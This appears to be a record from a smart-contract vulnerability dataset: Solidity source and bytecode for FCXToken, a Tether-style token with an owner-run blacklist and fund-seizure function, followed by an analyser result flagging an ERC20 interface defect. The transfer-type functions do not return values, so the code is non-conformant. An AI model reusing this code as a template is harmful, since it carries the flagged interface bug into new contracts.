owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint public _totalSupply; function totalSupply() public constant returns (uint); function balanceOf(address who) public constant returns (uint); function transfer(address to, uint value) public; event Transfer(address indexed from, address indexed to, uint value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint); function transferFrom(address from, address to, uint value) public; function approve(address spender, uint value) public; event Approval(address indexed owner, address indexed spender, uint value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is Ownable, ERC20Basic { using SafeMath for uint; mapping(address => uint) public balances; // additional variables for use if transaction fees ever became necessary uint public basisPointsRate = 0; uint public maximumFee = 0; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(!(msg.data.length < size + 4)); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) { uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } uint sendAmount = _value.sub(fee); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(msg.sender, owner, fee); } Transfer(msg.sender, _to, sendAmount); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint)) public allowed; uint public constant MAX_UINT = 2**256 - 1; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; uint fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (_allowance < MAX_UINT) { allowed[_from][msg.sender] = _allowance.sub(_value); } uint sendAmount = _value.sub(fee); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(sendAmount); if (fee > 0) { balances[owner] = balances[owner].add(fee); Transfer(_from, owner, fee); } Transfer(_from, _to, sendAmount); } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require(!((_value != 0) && (allowed[msg.sender][_spender] != 0))); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } contract BlackList is Ownable, BasicToken { /////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) /////// function getBlackListStatus(address _maker) external constant returns (bool) { return isBlackListed[_maker]; } function getOwner() external constant returns (address) { return owner; } mapping (address => bool) public isBlackListed; function addBlackList (address _evilUser) public onlyOwner { isBlackListed[_evilUser] = true; AddedBlackList(_evilUser); } function removeBlackList (address _clearedUser) public onlyOwner { isBlackListed[_clearedUser] = false; RemovedBlackList(_clearedUser); } function destroyBlackFunds (address _blackListedUser) public onlyOwner { require(isBlackListed[_blackListedUser]); uint dirtyFunds = balanceOf(_blackListedUser); balances[_blackListedUser] = 0; _totalSupply -= dirtyFunds; DestroyedBlackFunds(_blackListedUser, dirtyFunds); } event DestroyedBlackFunds(address _blackListedUser, uint _balance); event AddedBlackList(address _user); event RemovedBlackList(address _user); } contract UpgradedStandardToken is StandardToken{ // those methods are called by the legacy contract // and they must ensure msg.sender to be the contract address function transferByLegacy(address from, address to, uint value) public; function transferFromByLegacy(address sender, address from, address spender, uint value) public; function approveByLegacy(address from, address spender, uint value) public; } contract FCXToken is Pausable, StandardToken, BlackList { string public name; string public symbol; uint public decimals; address public upgradedAddress; bool public deprecated; // The contract can be initialized with a number of tokens // All the tokens are deposited to the owner address // // @param _balance Initial supply of the contract // @param _name Token Name // @param _symbol Token symbol // @param _decimals Token decimals function FCXToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public { _totalSupply = _initialSupply; name = _name; symbol = _symbol; decimals = _decimals; balances[owner] = _initialSupply; deprecated = false; } // Forward ERC20 methods to upgraded contract if this one is deprecated function transfer(address _to, uint _value) public whenNotPaused { require(!isBlackListed[msg.sender]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value); } else { return super.transfer(_to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function transferFrom(address _from, address _to, uint _value) public whenNotPaused { require(!isBlackListed[_from]); if (deprecated) { return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value); } else { return super.transferFrom(_from, _to, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function balanceOf(address who) public constant returns (uint) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).balanceOf(who); } else { return super.balanceOf(who); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) { if (deprecated) { return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value); } else { return super.approve(_spender, _value); } } // Forward ERC20 methods to upgraded contract if this one is deprecated function allowance(address _owner, address _spender) public constant returns (uint remaining) { if (deprecated) { return StandardToken(upgradedAddress).allowance(_owner, _spender); } else { return super.allowance(_owner, _spender); } } // deprecate current contract in favour of a new one function deprecate(address _upgradedAddress) public onlyOwner { deprecated = true; upgradedAddress = _upgradedAddress; Deprecate(_upgradedAddress); } // deprecate current contract if favour of a new one function totalSupply() public constant returns (uint) { if (deprecated) { return StandardToken(upgradedAddress).totalSupply(); } else { return _totalSupply; } } // Issue a new amount of tokens // these tokens are deposited into the owner address // // @param _amount Number of tokens to be issued function issue(uint amount) public onlyOwner { require(_totalSupply + amount > _totalSupply); require(balances[owner] + amount > balances[owner]); balances[owner] += amount; _totalSupply += amount; Issue(amount); } // Redeem tokens. // These tokens are withdrawn from the owner address // if the balance must be enough to cover the redeem // or the call will fail. // @param _amount Number of tokens to be issued function redeem(uint amount) public onlyOwner { require(_totalSupply >= amount); require(balances[owner] >= amount); _totalSupply -= amount; balances[owner] -= amount; Redeem(amount); } function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner { // Ensure transparency by hardcoding limit beyond which fees can never be added require(newBasisPoints < 20); require(newMaxFee < 50); basisPointsRate = newBasisPoints; maximumFee = newMaxFee.mul(10**decimals); Params(basisPointsRate, maximumFee); } // Called when new token are issued event Issue(uint amount); // Called when tokens are redeemed event Redeem(uint amount); // Called when contract is deprecated event Deprecate(address newAddress); // Called if contract ever adds fees event Params(uint feeBasisPoints, uint maxFee); }
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b158015610f5e57600080fd5b505af1158015610f72573d6000803e3d6000fd5b505050506040513d6020811015610f8857600080fd5b81019080805190602001909291905050509050610fa6565b60015490505b90565b600060149054906101000a900460ff16151515610fc557600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561101e57600080fd5b600a60149054906101000a900460ff161561117d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638b477adb338585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001945050505050600060405180830381600087803b15801561116057600080fd5b505af1158015611174573d6000803e3d6000fd5b50505050611189565b6111888383836122d1565b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60026020528060005260406000206000915090505481565b60095481565b60045481565b60015481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561123957600080fd5b600060149054906101000a900460ff16151561125457600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6005602052816000526040600020602052806000526040600020600091509150505481565b600060149054906101000a900460ff1681565b6000600a60149054906101000a900460ff161561144057600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156113fe57600080fd5b505af1158015611412573d6000803e3d6000fd5b505050506040513d602081101561142857600080fd5b8101908080519060200190929190505050905061144c565b61144982612778565b90505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114ac57600080fd5b600060149054906101000a900460ff161515156114c857600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60088054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115f55780601f106115ca576101008083540402835291602001916115f5565b820191906000526020600020905b8154815290600101906020018083116115d857829003601f168201915b505050505081565b600060149054906101000a900460ff1615151561161957600080fd5b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561167257600080fd5b600a60149054906101000a900460ff161561179d57600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636e18980a3384846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561178057600080fd5b505af1158015611794573d6000803e3d6000fd5b505050506117a8565b6117a782826127c1565b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561180757600080fd5b60148210151561181657600080fd5b60328110151561182557600080fd5b81600381905550611844600954600a0a82612b2990919063ffffffff16565b6004819055507fb044a1e409eac5c48e5af22d4af52670dd1a99059537a78b31b48c6500a6354e600354600454604051808381526020018281526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ec57600080fd5b600154816001540111151561190057600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156119d057600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806001600082825401925050819055507fcb8241adb0c3fdb35b70c24ce35c5eb0c17af7431c99f827d44a445ca624176a816040518082815260200191505060405180910390a150565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ae357600080fd5b8060015410151515611af457600080fd5b80600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515611b6357600080fd5b8060016000828254039250508190555080600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055507f702d5967f45f6513a38ffc42d6ba9bf230bd40e8f53b16363c7eb4fd2deb9a44816040518082815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615611d6557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015611d2357600080fd5b505af1158015611d37573d6000803e3d6000fd5b505050506040513d6020811015611d4d57600080fd5b81019080805190602001909291905050509050611d72565b611d6f8383612b64565b90505b92915050565b60035481565b60066020528060005260406000206000915054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611df957600080fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd7e9ec6e6ecd65492dce6bf513cd6867560d49544421d0783ddf06e76c24470c81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f3657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fad57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561200d57600080fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561206557600080fd5b61206e8261132a565b90506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550806001600082825403925050819055507f61e6e66b0d6339b2980aecc6ccc0039736791f0ccde9ed512e789a7fbdd698c68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b60406004810160003690501015151561214c57600080fd5b600082141580156121da57506000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b1515156121e657600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b60008060006060600481016000369050101515156122ee57600080fd5b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054935061239661271061238860035488612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156123a85760045492505b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff841015612464576123e38585612c0690919063ffffffff16565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6124778386612c0690919063ffffffff16565b91506124cb85600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061256082600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561270a5761261f83600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a350505050505050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000806040600481016000369050101515156127dc57600080fd5b6128056127106127f760035487612b2990919063ffffffff16565b612beb90919063ffffffff16565b92506004548311156128175760045492505b61282a8385612c0690919063ffffffff16565b915061287e84600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c0690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061291382600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000831115612abd576129d283600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612c1f90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050505050565b6000806000841415612b3e5760009150612b5d565b8284029050828482811515612b4f57fe5b04141515612b5957fe5b8091505b5092915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000808284811515612bf957fe5b0490508091505092915050565b6000828211151515612c1457fe5b818303905092915050565b6000808284019050838110151515612c3357fe5b80915050929150505600a165627a7a7230582039e5689ef2e6ddd04c9e83ac269373a92bb160ce6e90aa62a696a1f43fd60a7b0029
{"success": true, "error": null, "results": {"detectors": [{"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
1,735
0x45c819d70958eb36dca562b3140063c9ffb1ceb0
